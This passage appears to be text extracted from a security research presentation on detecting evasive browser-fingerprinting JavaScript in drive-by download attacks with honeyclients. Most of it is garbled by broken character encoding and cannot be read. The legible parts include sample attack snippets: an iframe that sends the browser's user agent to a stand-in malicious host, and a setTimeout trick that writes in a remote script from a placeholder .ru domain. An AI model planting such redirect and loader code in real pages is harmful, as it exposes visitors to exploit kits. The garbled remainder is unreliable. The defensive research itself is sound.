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n LcbO�H8#8H8
�EV);)

l M[YkhBjo�h[i[WhYA[h�Wj�HNN
l ;ZCkdYj�BdijhkYjeh�Wj�QWi[ZW OdBl[hiBjo
l A[d[hWb�YAWBh*YeccBjj[[�e?�DWfWd[i[�i[YkhBjo�mehaiAef�

ü;djB(cWbmWh[�[d]Bd[[hBd]�mehaiAef��GQM�

n !?bSCSaba4�bVCSOb�Vc?bW?U
l Bed[ofej*Aed[oYbB[dj
l Jhe]hWc*Yedj[dj�WdWboiBi
l GWYABd[�b[WhdBd]



Dcb=W?S
n�O4YUC]c?R
n>BiYel[ho�e?�[lWiBl[�YeZ[
n>BiYel[ho�h[ikbji
n =Wi[�ijkZo
n MkccWho
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n MocWdj[Y�XbeYa[Z�el[h�,G�m[X�WjjWYai*ZWo�Bd�;fhBb�-+,2U,V
n ;kjecWj[Z�WjjWYai�WdZ�cWbmWh[�ZBijhBXkjBedi�kiBd]�[nfbeBj�aBji�
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n�=O4Y=Wab�POaSR�]?�aS4cCWbg�W?bS==WUS?4S
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XejA�AB]A( WdZ�bem(Bdj[hWYjBed�Aed[oYbB[dji Wj��


l Nme�Yecfb[c[djWho�Aed[oYbB[dji Bcfhel[�el[hWbb�WdWboiBi�YWfWXBbBjB[i
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Ikh�VWUV(W?bSCO4bW]?�Aed[oYbB[djU,V fbWoi
W�heb[�Bd�WYYkhWj[bo�Z[j[YjBd]�Xhemi[h�
[nfbeBjWjBedi�Xo�cedBjehBd]�lkbd[hWXb[�?kdYjBedi)

Ikh�=]e(W?bSCO4bW]?�Aed[oYbB[djU-V fbWoi
W�heb[�Bd�Yebb[YjBd]�Z[jWBb[Z�Bd?ehcWjBed
�[)])
�
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<?dWC]?[S?b(RSAS?RS?b�CSRWCS4bW]?
n8PcaS�]T�PC]eaSC�TW?USCACW?bW?U

l N[YAdBgk[�e?�BZ[djB?oBd]�YbB[dji
�[)])
�IM[i�WdZ�Xhemi[hi
l 8bbO4YSCa�OPcaS�Wb�T]C�WRS?bWTW4ObW]?�]T�dc=?SCOP=S�4=WS?ba

var ua = navigator.userAgent;

if(ua.indexOf(“MSIE 8”) > -1) {
var ifr = document.createElement("iframe");

ifr.setAttribute("src", “http://mal.example/ua=”+ ua);
document.body.appendChild(ifr);

}

?nfbeBj�YeZ[�Yehh[ifedZBd]�je�
jA[�Oi[h;][dj
�B)[)
�C?3
�mBbb�X[�
[n[Ykj[Z�Bd�jA[�Z[ijBdWjBed�OLF

8bbO4Y�bOCUSb

C]b�bOCUSb

Attacked

Not	attacked FWdZBd]
m[XiBj[

h[ZBh[Yj[Z

CDH h[ZBh[Yj[Z



<dOaWdS�4]RS
n *]AVWabW4ObSR�PC]eaSC�TW?USCACW?bW?U

l ;Xki[�ZB??[h[dY[i�Wced]�DWlWMYhBfj�Bcfb[c[djWjBedi
hWjA[h�jAWd�iBcfbo�YA[Ya�jA[�Oi[h(;][dj�ijhBd]i

l NA[�?Bhij�Wh]kc[dj�e?�setTimeout() Bi�W�?kdYjBed�eh�YeZ[�idBff[j

setTimeout(10);
url = "http://DOMAIN.ru/js/jquery.min.php";

document.write("<script type=‘text/javascript’ 

src=‘"+url+”’></script>");

CSeSC�CSO=�PC]eaSCa YWd�[n[Ykj[�
i[jNBc[ekj���m*�ed[�Bdj[][h�Wh]kc[dj)
MkYA�Xhemi[h������� cWa[�=]e(W?bSCO4bW]?�
V]?Sg4=WS?b O?O=gaWa�W[A]aaWP=S)

https://developer.mozilla.org/en-US/docs/Web/API/WindowTimers/setTimeout



<dOaWdS�4]RS
n *]AVWabW4ObSR�PC]eaSC�TW?USCACW?bW?U

l ;Xki[�ZB??[h[dY[i�Wced]�DWlWMYhBfj�Bcfb[c[djWjBedi
hWjA[h�jAWd�iBcfbo�YA[Ya�jA[�Oi[h(;][dj�ijhBd]i

l NA[�?Bhij�Wh]kc[dj�e?�setTimeout() Bi�W�?kdYjBed�eh�YeZ[�idBff[j

setTimeout(10);
url = "http://DOMAIN.ru/js/jquery.min.php";

document.write("<script type=‘text/javascript’ 

src=‘"+url+”’></script>");

CSeSC�CSO=�PC]eaSCa YWd�[n[Ykj[�
i[jNBc[ekj���m*�ed[�Bdj[][h�Wh]kc[dj)
MkYA�Xhemi[h������� cWa[�bem(Bdj[hWYjBed�
Aed[oYbB[dji WdWboiBi�BcfeiiBXb[)

KS�Oaac[SR�bVOb�ObbO4YSCa�caS�SdOaWdS�4]RS
T]C�ACSdS?bW?U�]cC�O?O=gaWa�caW?U
=]e(W?bSCO4bW]?�V]?Sg4=WS?ba)
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n =Wi[�ijkZo
n MkccWho
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l IXC[YjBl[5�Ccfhel[�WdWboiBi�YWfWXBbBjB[i�e?�bem(Bdj[hWYjBed�
Aed[oYbB[dji ed�jA[�XWiBi�e?�?BdZBd]i
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NA[�iWc[ Oi[h(;][dj�ijhBd]i
�
Xkj�jA[�Bcfb[c[djWjBed�Bi�

ZB??[h[dj ?hec�W�h[Wb�Xhemi[h)

h[ZBh[Yj[Z

ASdSCOUS�bVS�
SdOaW]?�?ObcCS

CDH h[ZBh[Yj[Z

FWdZBd]
m[XiBj[

=WUV(W?bSCO4bW]?
=]?Sg4=WS?b



;Wa4]dSCg�AC]4Saa
,) <fbCO4bW]? ]T�SdOaWdS�4]RS�4O?RWRObS

l ?njhWYj�DWlWMYhBfj�YeZ[�Xo�WdWbopBd]�ZB??[h[dY[i�X[jm[[d
BNNJ�jhWdiWYjBedi��h[g*h[i��eXjWBd[Z�Xo�jme�jof[i�e?�YbB[dji

-) :=OaaWTW4ObW]? ]T�SdOaWdS�4]RS�4O?RWRObS
l =bkij[h�[njhWYj[Z�DM�YeZ[�?eh�?khjA[h�cWdkWb�WdWboiBi

.) BO?cO=�O?O=gaWa�]T�SdOaWdS�4]RS�4O?RWRObS
l CZ[djB?o�[lWiBed�j[YAdBgk[i�WXki[Z�Bd�DM�YeZ[

=bWiiB?B[Z�
DM =eZ[Fem(Bdj[hWYjBed

Bed[oYbB[dj

BNNJ
NhW??BY�JWBh

­ DM�=eZ[�
?njhWYjBed

® DM�=eZ[�
=bWiiB?BYWjBed

¯ GWdkWb
;dWboiBi

BB]A(Bdj[hWYjBed
Bed[oYbB[dj



<fbCO4bW]?�]T�SdOaWdS�4]RS
n;WTTSCS?bWO=�O?O=gaWa�]T�CSRWCS4b�UCOAVa

l ?njhWYj�[lWiBl[�YeZ[�YWdZBZWj[i�Xo�b[l[hW]Bd]�WYY[ii[Z�OLF�
cBicWjYA[i�Bd�jA[�BNNJ�jhW??BY�fWBh�Zk[�je�jA[�[lWiBed�dWjkh[

l NA[i[�]hWfAi�Wh[�XkBbj�ed�jA[�XWiBi�e?�BNNJ�A[WZ[hi�WdZ�XeZB[i
L[ZBh[Yj�]hWfA�YedijhkYj[Z
kiBd]�AB]A(Bdj[hWYjBed�Aed[oYbB[dj

L[ZBh[Yj�]hWfA�YedijhkYj[Z
kiBd]�bem(Bdj[hWYjBed�Aed[oYbB[dj

?njhWYj�DM�YeZ[�[n[Ykj[Z�
Bd�jA[�YWdZBZWj[�OLF



:=OaaWTW4ObW]?�]T�SdOaWdS�4]RS
n :=cabSCW?U�SfbCO4bSR�"*�4]RS�]?�bVS�POaWa�]T�bVS�4]RS�
aW[W=OCWbg
l u?n[YkjBed�fWjA�YAWd][v�{�u=edjheb�?bem�YAWd][v
l ?njhWYj�i[gk[dY[i�h[bWj[Z�je�Yedjheb�?bem�YAWd][�Xo�;MN% WdWboiBi
l =WbYkbWj[�jA[�iBcBbWhBjo�X[jm[[d�i[gk[dY[i�Xo�F=M%

lWh Ae][ 8�uj[ijv6
Tc?4bW]?�USb#$ q
lWh h�8�uv6�f�8�ufWobeWZv6
T]C�#dOC W7+5�W6A)=S?UbV5�W&&$ q

h�&8�Yedl[hj�f�UBV�6
r
CSbcC?�C5

r
WT�#V]US 77hbSabi$�q
XWh�8�][j��6

r
%�;MN5�;XijhWYj�ModjWn�Nh[[

F=M5�Fed]�=ecced�MkXi[gk[dY[

<fbCO4bSR�aSBcS?4S
FunctionDeclaration
ForStatement
ReturnStatement
IfStatement
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n <WYa]hekdZ
n>BiYel[ho�e?�[lWiBl[�YeZ[
n;Wa4]dSCg�CSac=ba
n =Wi[�ijkZo
n MkccWho



;ObOaSb
n =ebb[Yj[Z�W�ZWjWi[j�e?�-+
-2- BNNJ�jhW??BY�fWBhi�Z[j[Yj[Z�
?hec�-+,-�je�-+,1�Wj�HNN�FWXi
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DWlWMYhBfj�YeZ[�?hec�jA[�,
,11�BNNJ�jhW??BY�fWBhi

Cc[PSC ]T�=HHE�bCOTTW4�AOWCa�4]==S4bSR�Oa�RObOaSb  
NejWb -+
-2-

BNNJ jhW??BY�e?�h[Wb�Xhemi[hi�m*e�cWbBYBeki�fWjAi /04
BNNJ jhW??BY�e?�Xhemi[h�[ckbWjeh�m*�cWbBYBeki�OLFi ,3
/42
BNNJ�jhW??BY�fWBhi e?�WdWboiBi�jWh][ji ,
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n 02�4=cabSCa�eSCS�T]C[SR
n 0�SdOaW]?�bS4V?WBcSa bVOb�OPcaS�RWTTSCS?4Sa�O[]?U�
"OdO*4CWAb�W[A=S[S?bObW]?a
l C�?ekdZ�jA[�?ebbemBd]�[lWiBl[�YeZ[�Xo�cWdkWbbo�WdWbopBd]�ed[�
h[fh[i[djWjBl[�feBdj�Bd�[WYA�Ybkij[h

<dOaW]?�bS4V?WBcSa <dOaWdS�4]RS
Oi[�e?�ehB]BdWb�eXC[Yj mBdZem)iBZ[XWh
>B??[h[dY[ Bd�WhhWo�fheY[iiBd] UuWv
vXv
V)b[d]jA
>B??[h[dY[�Bd�ijhBd]�fheY[iiBd] u��lv88ulv
>B??[h[dY[�Bd�i[jNBc[ekj���fheY[iiBd] i[jNBc[ekj�,+�
>B??[h[dY[�Bd�fWhi[Cdj�� fheY[iiBd] fWhi[Cdj�u+,-.v�



Dcb=W?S
n <WYa]hekdZ
n>BiYel[ho�e?�[lWiBl[�YeZ[
n>BiYel[ho�h[ikbji
n :OaS�abcRg
n MkccWho



:OaS�abcRg�,*0

Idbo�#Bh[?en�h[jkhdi�COC

mi 8��&UeW?R]e)aWRSPOCV�6
?eh��B�8�mi6�B�7�Who)b[d]jA6�B&&��q
B? �B!-�88+��q
i�8�MjhBd])?hec=AWh=eZ[�WhoUBV�6
U)))�idBff[Z )))V

r
r

NA[�ejA[h�Xhemi[hi�h[jkhd�+

nIaS�]T�]CWUW?O=�]P;S4b4�
&Mwindow.sidebar]
l #Bh[?en(if[YB?BY�eXC[Yj
l Idbo�#Bh[?en�h[jkhdi�HWH

jA[�ejA[h�Xhemi[hi�h[jkhd�+



:OaS�abcRg�-*0

NA[�ejA[h�Xhemi[hi�h[jkhd�-

b 8 U�hl5,,�
 �GMC?�
 V)b[d]jA6
kW 8 dWlB]Wjeh)ki[h;][dj6
?eh �B 8 +6 B 7 b6 B&&� q
B? �kW)BdZ[nI?�WhoUBV��88(,� q
U))) idBff[Z5h[ZBh[Yj YeZ[ )))V

r
r

Idbo�C?3�h[jkhdi�.

n;WTTSCS?4S�W?�OCCOg�AC]4SaaW?U4
["a","b",].length
l C?i�X[?eh[�l4�h[jkhd�.

jA[�ejA[h�Xhemi[hi�h[jkhd�-



:OaS�abcRg�.*0

Idbo�C?3�h[jkhdi�bCcS

dOC b,�7�i��d��77��d�5
lWh j-�8�ZeYkc[djU Wbb V6
lWh j.�8�ZeYkc[djU gk[hoM[b[Yjeh V6
lWh X2�8�j,�""��j.�""�j-6
lWh X3�8�j,�""�j-�""�j.�""��j/6
lWh X4�8�j-�""��j,�""�j/6
j2�8�j2�9�+�:��X2�:�,�5�mBdZemUvZkcco V��5�,6
j3�8�j3�9�+�:��X3�:�,�5�mBdZemUvZkcco V��5�,6
j4�8�j4�9�+�:��X4�:�,�5�mBdZemU Zkcco V��5�,6
U)))�idBff[Z5h[ZBh[Yj*[nfbeBj�YeZ[�)))V

NA[�ejA[h�Xhemi[hi�h[jkhd�TO=aS

n;WTTSCS?4S�W?�abCW?U�AC]4SaaW?U4�
“ v” == “v”
l C?i�X[?eh[�l4�Bdj[hfh[j�W�l[hjBYWb�jWX�
u��lv�Wi�W�iBcfb[�YAWhWYj[h�ulv)



:OaS�abcRg�/*0
aSbHW[S]cb#,+$5
lWh khb 8� Ajjf5**W)[nWcfb[*cWbBYBeki)Ci 6
ZeYkc[dj)mhBj[� 7iYhBfj�
ihY8tv&khb&vs97*iYhBfj9 �6

C?zWdZ�C?4�][j�Wd
!����������������" SCC]C

H[m[h�Xhemi[hi�[n[Ykj[�Bj�
mBjAekj�[hhehi

n;WTTSCS?4S�W?�[SbV]R�AC]4SaaW?U4
setTimeout(10)
l C?i�W?j[h�l,+
�jA[�bWj[ij�#Bh[?en�YWd�
[n[Ykj[�jA[�i[jNBc[ekj���?kdYjBed
mBjA�ed[�Bdj[][h�Wh]kc[dj



:OaS�abcRg�0*0
B?��AOCaS!?b#h+,i&i-i&i.i$ 888�3.��q
U)))�idBff[Z5h[ZBh[Yj YeZ[�)))V

r

Idbo�C?3�Bdj[hfh[ji�
u+,-.v�Wi�3.)

IjA[h�Xhemi[hi�Bdj[hfh[ji�
u+,-.v�Wi�,-.)

n;WTTSCS?4S�W?�[SbV]R�AC]4SaaW?U4�
parseInt(“0123”)
l C?i�X[?eh[�l3�Bdj[hfh[j�u+,-.v�Wi�]4bO=

jA[�ejA[h�Xhemi[hi�Bdj[hfh[j�u+,-.v�Wi�
RS4W[O=



<TTS4bWdS?Saa�Oa�h!D:i

n Cdl[ijB]WjBd]�31+E&OLFi�mBjA�;b[nW�Nef�ZecWBd�dWc[i
l NA[�aSbHW[S]cb#$�SdOaWdS�4]RS mWi�Z[j[Yj[Z�Bd�-1 OLFi

O==�]T�bVS[�eSCS�caSR�W?�4][AC][WaSR�eSPaWbSa
Xo W�cWii�BdC[YjBed�YWcfWB]d
�YWbb[Z�u#Wa[�CKk[ho�BdC[YjBedivU,V

l NA[�ejA[h�[lWiBed�j[YAdBgk[i�m[h[�ki[Z��������������� 
eh�m[h[�de�bed][h�ki[Z

U,V�uCKk[ho)cBd)fAf GWbmWh[�;??[Yji�NAekiWdZi�e?�Q[XiBj[iu
�
Ajjfi5**Xbe])ikYkhB)d[j*-+,0*,,*Cgk[ho(cBd(fAf(cWbmWh[(W??[Yji(jAekiWdZi(e?(m[XiBj[i)Ajcb

<dOaWdS�4]RS�Wa�SOaW=g�ASCdOaWdS�dWO
ObbO4Y�4O[AOWU?a�O?R�SfA=]Wb�YWba
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������
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Dcb=W?S
n <WYa]hekdZ
n>BiYel[ho�e?�[lWiBl[�YeZ[
n>BiYel[ho�h[ikbji
n =Wi[�ijkZo
n *c[[OCg



*c[[OCg
n ECSdW]ca=g�c?Y?]e?�SdOaW]?�bS4V?WBcSa�eSCS�RWa4]dSCSR
kiBd]�AB]A( WdZ�bem(Bdj[hWYjBed�Aed[oYbB[dji
l ?lWiBl[�YeZ[�YWd�X[�ki[Z�Wi�CI= je�Z[j[Yj�YecfhecBi[Z�m[XiBj[i

n ;]WBdij�WjjWYa�iefABijBYWjBed
�Bj�Bi�BcfehjWdj�je�adem�jA[�
[nBij[dY[�e?�[lWiBed�j[YAdBgk[i�WdZ�iAWh[�jA[c

)!E�]=R�PC]eaSCa)))!
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BO?cO=�8?O=gaWa
n *bSA�SfS4cbW]?�caW?U�"OdO*4CWAb�W?bSCACSbSC

l GWBdbo�i[j�Xh[WafeBdji�je
�[)])
�YedZBjBedWb�XhWdYA[i�WdZ�beefi�
kiBd]�Z[l[bef[h�jeebi�e?�C?*=Ahec[*#Bh[?en

Sek�YWd�ijef�Ci([n[Y�Wj�W�
Xh[WafeBdj�WdZ�beea�Wj�jA[ YWbb�
ijWYa�WdZ�jA[�lWhBWXb[ lWbk[i)



<dOaW]?�bS4V?WBcSa�4][S�O?R�U]
n HW[S=W?S�O?O=gaWa�]T�SdOaWdS�4]RS

l Q[�ZBiYel[h[Z�jA[�i[jNBc[ekj���WdZ�Uuv
V)b[d]jA�[lWiBed�
j[YAdBgk[i�AWl[�X[[d�WXki[Z�Bd�jA[�h[Y[dj�WjjWYa�YWcfWB]dU,
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